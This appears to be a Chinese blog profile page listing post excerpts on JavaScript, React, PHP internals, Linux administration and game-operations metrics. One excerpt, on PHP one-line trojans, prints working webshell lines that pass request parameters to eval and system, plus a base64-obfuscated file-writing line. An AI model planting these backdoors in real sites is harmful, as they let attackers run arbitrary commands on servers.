自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(345)
  • 资源 (4)
  • 收藏
  • 关注

原创 JavaScript入门篇-笔记

简介:本教程让您快速认识JavaScript,熟悉JavaScript基本语法、窗口交互方法和通过DOM进行网页元素的操作,学会如何编写JS代码,如何运用JavaScript去操作HTML元素和CSS样式,本JavaScript教程分为四个章节,能够让您快速入门,为JavaScript深入学习打下基础。第1章 请做好准备本章节主要讲解如何在HTML文件中添加JavaScript代码,掌握必备的基础语法,为以后来章学习打下基础。1-1 为什么学习JavaScript一、你知道,为什么JavaS

2020-05-13 19:13:22 210

转载 Centos7.4安装镜像源和repo源

一、国内可选下载镜像源1、国内163镜像源(推荐选择)http://mirrors.163.com/中国技术科学大学http://mirrors.ustc.edu.cn/Centos官方站点http://vault.centos.org/2、Centos7.4下载地址http://mirrors.163.com/centos/7.4.1708/isos/x86_64/CentOS-7-x86_64-DVD-1708.iso二、配置Centos7.4的yum源yum所需要使用的repo源如下:

2020-05-11 19:29:11 3139

原创 TypeScript入门-学习笔记

简介:TypeScript是一种由微软开发的支持ES6标准的编程语言,它是Angular2的开发语言。它可以编译成纯JavaScript,可以在任何浏览器,任何计算机和任何操作系统上运行,并且是开源的。本课程介绍了TypeScript的基本概念、常用语法和高级特性。第1章 初识TypeScript对本课程的大纲进行介绍1-1 TypeScript-TypeScript介绍1-2 Type...

2020-05-09 16:25:57 440

原创 React16.4开发简书项目 从零基础入门到实战-笔记-02

第3章 React基础精讲本章通过TodoList功能的实现,给大家完整介绍React的基础语法,设计理念以及围绕React展开的一些编程思维。3-1 使用React编写TodoList功能3-2 React 中的响应式设计思想和事件绑定3-3 实现 TodoList 新增删除功能3-4 JSX语法细节补充3-5 拆分组件与组件之间的传值3-6 TodoList 代码优化3-7 ...

2020-04-23 16:59:05 732

原创 React16.4开发简书项目 从零基础入门到实战-笔记-01

第1章 课程导学 对课程整体进行讲解。 1-1 课程导学试看 第2章 基础知识 React API 一览 React主要API介绍,在这里你能了解它的用法,为下一章源码分析打基础。 2-1 准备工作试看 2-2 JSX到JavaScript的转换 2-3 react-element 2-4 react-component 2-5 react...

2020-04-22 16:17:18 1555

原创 React全家桶+AntD共享单车-后台管理系统开发-笔记-01

第一章 课程导学对课程整体进行介绍,并且说明学习的必要性。1-1 导学产品需求1、技术选型2、项目架构3、项目规范4、封装项目公共机制5、提高开发效率课程概述React全家桶React基础知识、生命周期 Router4.0语法讲解 Redux集成开发AntD UI组件最实用集成组件 AntD栅格系统 Etable组件封装 BaseForm组...

2020-04-19 14:58:10 1055 1

转载 nodejs+react+redux环境安装

如何从Windows中删除Node.js:1.从卸载程序卸载程序和功能。2.重新启动(或者您可能会从任务管理器中杀死所有与节点相关的进程)。3.寻找这些文件夹并删除它们(及其内容)(如果还有)。根据您安装的版本,UAC设置和CPU架构,这些可能或可能不存在:C:\Program Files (x86)\NodejsC:\Program Files\NodejsC:\Users\{U...

2020-04-17 20:08:43 343

原创 JS+React+Redux等学习网站

Redux:http://cn.redux.js.org/index.html

2020-04-16 16:46:12 131

转载 从游戏中学习产品设计05:反馈篇

已经完成游戏充值篇、消费篇、活跃篇和成就篇的游戏套路设计总结,感兴趣的朋友点击下面链接查看详情!从游戏中学习产品设计01:充值篇从游戏中学习产品设计02:消费篇从游戏中学习产品设计03:活跃篇从游戏中学习产品设计04:成就篇前言游戏是非常辛苦的“工作”,我们以电脑和视频游戏举例,为了升级,玩家重复的完成每日任务,重复刷副本,重复的挑战boss,所以游戏是重复性的工作;为...

2019-12-23 11:26:04 1014

转载 从游戏中学习产品设计04:成就篇

已经完成游戏充值篇、消费篇和活跃篇的套路设计总结,感兴趣的朋友点击下面链接查看详情!从游戏中学习产品设计01:充值篇从游戏中学习产品设计02:消费篇从游戏中学习产品设计03:活跃篇前言《游戏改变世界》中提到了游戏可以提升人的幸福感,因为几乎所有的游戏都具有四大特性:目标、规则、反馈系统和自愿参与,游戏的这四大特性让玩家可以体验到现实生活中无法体验到的成功,进而转化成满足感和...

2019-12-23 11:25:10 1745

转载 从游戏中学习产品设计2:消费篇

上一期,我们介绍了游戏中的诱导充值套路,没有看的朋友可点击 从游戏中学习产品设计1:充值篇!了解游戏中是如何引诱玩家充值的,今天我们来聊一聊游戏中的消费套路,上文介绍了游戏中的三类货币:金币,钱币和时间币,既然有这么多种货币,如何设计来让玩家将其消耗就成为游戏数值体系设置的重要一环。本文将从购买道具,购买美丽,购买确定性,购买特权,购买时间等角度出发,介绍游戏中的诱导消费套路,同时介绍一下游戏...

2019-12-23 11:20:51 1278

转载 从游戏中学习产品设计1:充值篇

游戏,是人类文明的最基本组成部分之一,已知的最古老的数字游戏,是早在公元前15世纪到公元前11世纪的计数游戏《宝石棋》,第一部记述游戏的历史书是3000多年前希罗多德编著的《历史》。今天,全球每周花在游戏上的时间超过30亿小时,暴雪公司的一款游戏《魔兽世界》累计耗费人们593万年时间。网易公司2016年游戏收入279.8亿人民币,占网易公司总收入的74.05%,腾讯公司2016年财报显示游戏收入7...

2019-12-23 11:18:07 2648

转载 游戏运营数据定义V1.0

活跃用户指的是什么?ARPU怎么算?如何计算LTV?这个付费渗透率是个啥玩意怎么算?那个3日留存里的3日指的是第三天,还是3天之后?做运营的你是不是也经常会有这样的困惑?被各种叫法,各种数据弄的精疲力尽。现在都流行用数据说话,依靠数据修改优化,但是怎么样才能得到正确的数据呢。认识任何事物首先要先搞清楚他的定义。这份游戏运营数据定义不一定是最全面最正确的,分享出来仅仅是希望能对同是运...

2019-12-23 10:53:28 539

转载 手游运营数据监控指标浅谈

一、简介游戏数据主要分两大类,一是留存,二是付费。通过常规数据来监控游戏运营状态,通过细化数据辅助决策。常规数据需每日记录,对突发事件及时反馈;细化数据根据实际情况从数据库捞取,能够较好的反应用户属性和特点,有助于深入了解游戏和评估运营活动的有效性二、目的数据的记录与分析主要通过以下5个维度来验证游戏,明确用户对游戏的体验。a)是否会吸引玩家留下?-留存率-玩家等级分布...

2019-12-23 10:18:23 1434

转载 深入理解PHP与WEB服务器交互

1.WEB服务器调用PHP接口  以Apache服务器为例,我们看看该服务器是怎样启动PHP,并调用PHP中的方法。Apache服务器启动并运行PHP时,一般是通过mod_php7模块的形式集成(如果是php5.*版本,就是mod_php5模块,模块后缀名根据php版本而定),mod_php7的结构如下(源码路径为php/sapi/apache2handler/mod_php7.c): ...

2019-11-28 18:19:44 117

转载 PHP判断当前使用的是什么浏览器(推荐)

PHP简单判断当前使用的是什么浏览器,判断浏览器类型的方法,方便统计网站访问用户使用浏览器的比例。判断浏览器类型方法一function userBrowser() { $user_OSagent = $_SERVER['HTTP_USER_AGENT']; if (strpos($user_OSagent, "Maxthon") && strpos($user...

2019-11-28 18:16:21 670

转载 关于php中对象传值方式的详解

变量赋值与对象赋值对比 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php ...

2019-11-28 18:12:24 345

转载 如何快速安全的插入千万条数据?

前言最近有个需求解析一个订单文件,并且说明文件可达到千万条数据,每条数据大概在20个字段左右,每个字段使用逗号分隔,需要尽量在半小时内入库。思路1.估算文件大小因为告诉文件有千万条,同时每条记录大概在20个字段左右,所以可以大致估算一下整个订单文件的大小,方法也很简单使用FileWriter往文件中插入一千万条数据,查看文件大小,经测试大概在1.5G左右;2.如何批量插入由...

2019-11-28 18:01:03 285

转载 Linux权限详解 命令之 chmod:修改权限

阅读目录(Content)权限简介 一、快速入门 更改文件权限 (chmod命令) 一般使用格式 数字权限使用格式 更改文件拥有者(chown命令) 二、Linux权限详解 十位权限表示 十二位权限(Linux附加权限) 附加权限相关概念 十二位的权限表示方法 附加权限的八进制形式 权限简介Linux系统上对文件的权限有...

2019-11-22 13:31:04 7427

转载 PHP Opcache工作原理

1. 概述在理解 OPCache 功能之前,我们有必要先理解PHP-FPM + Nginx 的工作机制,以及PHP脚本解释执行的机制。1.1 PHP-FPM + Nginx 的工作机制请求从Web浏览器到Nginx,再到PHP处理完成,一共要经历如下五个步骤:第一步:启动服务启动PHP-FPM。PHP-FPM 支持两种通信模式:TCP socket和Unix socket; ...

2019-11-11 11:37:49 265

转载 运营人员必须知道的核心数据详解

一、运营数据(1)平均同时在线人数(ACU: Average concurrent users):即在一定时间段抓取一次数据,以一定周期为期限;周期内的ACU可取时间段的平均数据。[例如:系统每一小时抓取一次数据,全天24小时共24个不同时刻的在线数据,则每天的ACU是这24个数据的平均值(每个公司有每个公司的定义,一般ACU取平均值,若针对某一时刻,则直接在某时刻内直接统计用户数)(2)最高...

2019-11-07 17:28:13 382

转载 游戏运营各类术语

任何一款游戏运营,都是以UED、数据分析为导向,如何开发、运营好一款成功的全球社交游戏,是每个社交游戏产品经理头等大事。用数据说话,是一个简单明快的操作方式,但社交游戏的数据如何分类?海内外关注点有何区别?相信作为每个社交游戏产品经理是非常关心的话题,那么我们就从基础知识入手,逐步梳理出符合运营需求的核心数据环节,抛弃冗长复杂的多类数据,为自己的成功打下扎实的基础。付费率=付费用户÷活跃...

2019-11-07 17:27:51 2378

原创 解决 php cli 模式下中文乱码的方法

1、php.ini默认字符集:default_charset = "UTF-8"2、将 cmd 窗口设置成 utf-8 编码。解决办法如下:1. 操作:同时按"win + R" ,并输入 regedit 进入注册表2. 找到 HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe,如果该项下已存在 CodePage 项,则把值...

2019-10-29 18:21:06 1215

转载 架构师之路16年——(7)通用素质

《心态:晋升的为何不是你》《鸡汤:你的收入取决于你的努力程度》《爱女友:“我穿这衣服好看吗”终于破解了》《管理:一分钟经理人》《访谈:架构师到底该不该写代码》《如何做一场B格满满的技术大会演讲》...

2019-10-23 11:15:25 119

转载 php输出缓冲与http的联系

最近因为设计网站的时候需要实现一个后台处理的功能,在寻找解决方式的时候了解到了php输出缓冲的功能,让我第一次意识到http具体的传输数据都是什么流程(不会告诉你们我以前一直以为http只有一次数据传输的!),又get到一个新技能点,先记录下来,以后了解的多了再进一步补充吧首先需要对以下函数有一定的了解/**获取当前php缓冲区的内容长度*/$size = ob_get_length...

2019-10-22 10:47:03 83

转载 PHP获取对象属性的三种方法实例分析

今天查看yii源码,发现yii\base\Model中的attribute()方法是通过反射获取对象的public non-static属性。记得以前看到的代码都是用get_object_vars()这个函数获取的,昨天查看php文档,发现还可以用foreach遍历对象属性。于是写个例子练习下。class TestClass { private $a; protected $b; ...

2019-10-22 10:46:11 1143

转载 PHP中const,static,public,private,protected的区别

const: 定义常量,一般定义后不可改变static: 静态,类名可以访问public: 表示全局,类内部外部子类都可以访问;private: 表示私有的,只有本类内部可以使用;protected: 表示受保护的,只有本类或子类或父类中可以访问;定义常量也可用define定义。const与define在定义常量时会有如下区别: const用于类成员变量,一经定义...

2019-10-22 10:45:46 295

转载 如何使用ssh工具便于远程管理

前几天亲眼经历了Linux服务器运维过程,眼看着别人熟练运用Linux管理工具,自个心里不是滋味,所以自己特意整理了一篇“专题”:使用ssh服务远程管理主机。首先在使用ssh服务工具之前,先熟悉下Linux操作系统的启动原理:Linux操作系统开机过程首先从BIOS开始→进入”Boot Loader“→加载内核→内核的初始化→启动初始化进程,初始化进程作为系统第一个进程,它需要完成相关的初始化...

2019-10-22 10:45:39 113

转载 最全 Linux 磁盘管理基础知识全汇总

一、存储设备的挂载和卸载存储设备的挂载和卸载常用操作命令:fdisk -l、df、du、mount、umount。fdisk -l 命令1.作用查看所有硬盘的分区信息,包括没有挂上的分区和USB设备,挂载时需要用这条命令来查看分区或USB设备的名称,比如挂载U盘时。注意:Linux中既然硬件是以文件形式存在,则也可以ls -l /dev/sda*查看第一块硬盘的分区信息...

2019-10-22 10:45:30 130

转载 用 Docker 搞定 PHP 开发环境搭建

避坑!用 Docker 搞定 PHP 开发环境搭建(Mac、Docker、Nginx、PHP-FPM、XDebug、PHPStorm、VSCode)因为最近换电脑的缘故需要重新部署一下本地的开发环境,之前采用的虚拟机方案,占用磁盘空间实在是太大,心疼 SSD 那么点地方,所以这次采用了 Docker 的方案来部署。关于这次部署的原则,我的想法是尽量使用官方的镜像来实现,尽量不改动或少...

2019-10-22 10:45:13 1324

转载 PHP与SQL语句写一句话木马总结

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:<?php @eval($_GET["code"])?><?php @system($_POST["cmd"])?>二、编码的替换的类型:<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9wa...

2019-10-22 10:45:05 489

转载 php的扩展写法总结

为什么要用C扩展C是静态编译的,执行效率比PHP代码高很多。同样的运算代码,使用C来开发,性能会比PHP要提升数百倍。IO操作如CURL,因为耗时主要在IOWait上,C扩展没有明显优势。另外C扩展是在进程启动时加载的,PHP代码只能操作Request生命周期的数据,C扩展可操作的范围更广。第一步下载PHP的源代码,如php-5.4.16。解压后进入php-5.4.16\ext目录...

2019-10-22 10:44:56 110

转载 如何优雅的在 Linux 终端下进行录像?

前言相信大家,初始在使用Linux操作系统时,查找历史命令,第一时间会想到history命令:将显示出之前操作过的命令,其无法显示操作过的命令所输出的过程及结果。但往往有时候,我们却想知道在这台服务器上操作了什么?执行的过程是什么样的?输出的结果又是怎么样的?那history命令就已经无法满足我们的需求了,那究竟该怎么办呢?是时候,教大家一招了。那就是这个神奇的命令——script和s...

2019-10-22 10:44:49 737

转载 PHP架构图谱

架构图谱,主要是针对1-5年左右的PHP开发程序员提升的,不管是传统行业还是互联网行业,掌握这些技术都能对自己的技术有一个质的飞跃。一:常见模式与框架学习PHP技术体系,设计模式,流行的框架常见的设计模式,编码必备 Laravel、ThinkPHP开发必不可少的最新框架 YII、Symfony4.1核心源码剖析二:微服务架构与性能优化业务体系越来越复杂,Swoole...

2019-10-22 10:44:38 1862

转载 解决tp5在nginx下修改配置访问的问题

第一:修改nginx配置注意:所有配置都是基于lnmp1.4的一键安装环境的根据自己的nginx配置,找到正确的fastcgi.conf,修改fastcgi_param参数将默认的路径修改至自己的项目根目录的上一级,注意是上级!!!3、lnmp nginx reloadlnmp nginx restart第二:执行service nginx restart命令重启nginx...

2019-10-21 11:01:35 280

转载 Thinkphp 在api开发中异常返回依然是html的解决方式

现在谁不开发接口的呢?但是在接口开发过程中,报错误异常后居然返回错误的信息依然是html信息!TP官方也不知道为啥不添加,说好的为接口而生,我的解决方案也很简单,把系统的异常处理类复制出来,去掉模板相关,直接以json方式输出下面是解决方案:1:按照TP扩展异常的方式引用这个文件https://www.kancloud.cn/manual/thinkphp5_1/354092//...

2019-10-21 10:59:35 801

转载 Linux中bash shell环境变量

别名别名是命令的快捷方式。为那些需要经常执行,但需要很长时间输入的长命令创建快捷方式很有用。语法是:alias ppp='ping www.baidu.com'它们并不总是用来缩短长命令。重要的是,你将它们用于你经常执行的任务。可能的例子:alias update='yum update'这样就可以只是用update来完成yum update的命令操作了在终端中设置别名的问...

2019-10-21 10:56:09 119

转载 PHP-FPM详解

目录作用 安装 全局配置 配置进程池参考Company开发环境转发请求给PHP-FPM 思考作用PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。(1). 为...

2019-10-21 10:51:21 311

转载 Curl 在 Swoole 协程中的解决方案

视频教程分享码农网:http://www.mano100.cn/rjyfk_url-url.html升级终身会员即可查看网站所有视频教程。PHP程序设计高级教程作者:传智播客高教产品研发部 编著文章正文在 Swoole 应用中,是不推荐使用 Curl 的,因为 Curl 会阻塞进程。本文会用实际的代码和数据,用最直观的方式,让你明白为什么。最后还会...

2019-10-21 10:32:36 764

转载 PHP的Trait机制原理与用法分析

本文实例讲述了PHP的Trait机制原理与用法。分享给大家供大家参考,具体如下:Trait介绍:1、自PHP5.4起,PHP实现了一种代码复用的方法,称为trait。2、Trait是为类似PHP的单继承语言二准备的一种代码复用机制。3、Trait为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用method。4、trait实现了代码的复用,突破了单继承的限制...

2019-10-21 10:26:37 209

Java精选面试题.pdf

Java精选面试题

2021-09-23

练习使用Java基本数据类型。使用Java的String类操作字符串和子串

实验目的: 练习使用Java基本数据类型。使用Java的String类操作字符串和子串。 实验内容: 1.写一个程序提示用户键入某一货币数量(以分为单位),该程序应计算出如何用最少量的1元,50分,10分和1分硬币得到该数目。如195分最少可以用一个1元硬币,1个50分硬币,4个10分硬币和5个1分硬币组成。 注意不要用数组存放不同硬币的值。 2.写一个程序可以对两个字符串进行测试,得知第一个字符串是否包含在第二个字符串中。如字符串”PEN”包含在字符串“INDEPENDENT”中。 可以利用字符串类方法 boolean regionMatches(int toffset, String other, int ooffset, int len) toffset 指从被调用方法的字符串的第几个字符开始测试,如果是0,表明从字符串的首字符开始。other是指使用的另一个字符串。ooffset指从另一个字符串的第几个字符开始。len指要比较几个字符。该方法返回boolean值。 在本题中,ooffset为0,因为我们要测试整个短字符串;len是短字符串的长度;所以应该用 big.regionMatches(index, small, 0, small.length()) 如果big指“independent",small指"pen",则index=2时为假,index=4时为真 (b)改进程序,当第一个字符串包含在第二个字符串中时,显示第一个字符串在第二个字符串中的起始位置。 (c)改进程序,即使当用户输入顺序错误时(第一个是长字符串,第二个是短字符串),能自动在长字符串中搜寻短字符串。

2010-06-25

用VC|MFC编写的计算器

用VC|MFC编写的计算器,======================================================================== MICROSOFT FOUNDATION CLASS LIBRARY : counter ======================================================================== AppWizard has created this counter application for you. This application not only demonstrates the basics of using the Microsoft Foundation classes but is also a starting point for writing your application. This file contains a summary of what you will find in each of the files that make up your counter application. counter.dsp This file (the project file) contains information at the project level and is used to build a single project or subproject. Other users can share the project (.dsp) file, but they should export the makefiles locally. counter.h This is the main header file for the application. It includes other project specific headers (including Resource.h) and declares the CCounterApp application class. counter.cpp This is the main application source file that contains the application class CCounterApp. counter.rc This is a listing of all of the Microsoft Windows resources that the program uses. It includes the icons, bitmaps, and cursors that are stored in the RES subdirectory. This file can be directly edited in Microsoft Visual C++. counter.clw This file contains information used by ClassWizard to edit existing classes or add new classes. ClassWizard also uses this file to store information needed to create and edit message maps and dialog data maps and to create prototype member functions. res\counter.ico This is an icon file, which is used as the application's icon. This icon is included by the main resource file counter.rc. res\counter.rc2 This file contains resources that are not edited by Microsoft Visual C++. You should place all resources not editable by the resource editor in this file. ///////////////////////////////////////////////////////////////////////////// AppWizard creates one dialog class: counterDlg.h, counterDlg.cpp - the dialog These files contain your CCounterDlg class. This class defines the behavior of your application's main dialog. The dialog's template is in counter.rc, which can be edited in Microsoft Visual C++. ///////////////////////////////////////////////////////////////////////////// Other standard files: StdAfx.h, StdAfx.cpp These files are used to build a precompiled header (PCH) file named counter.pch and a precompiled types file named StdAfx.obj. Resource.h This is the standard header file, which defines new resource IDs. Microsoft Visual C++ reads and updates this file. ///////////////////////////////////////////////////////////////////////////// Other notes: AppWizard uses "TODO:" to indicate parts of the source code you should add to or customize. If your application uses MFC in a shared DLL, and your application is in a language other than the operating system's current language, you will need to copy the corresponding localized resources MFC42XXX.DLL from the Microsoft Visual C++ CD-ROM onto the system or system32 directory, and rename it to be MFCLOC.DLL. ("XXX" stands for the language abbreviation. For example, MFC42DEU.DLL contains resources translated to German.) If you don't do this, some of the UI elements of your application will remain in the language of the operating system. /////////////////////////////////////////////////////////////////////////////

2010-06-02

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除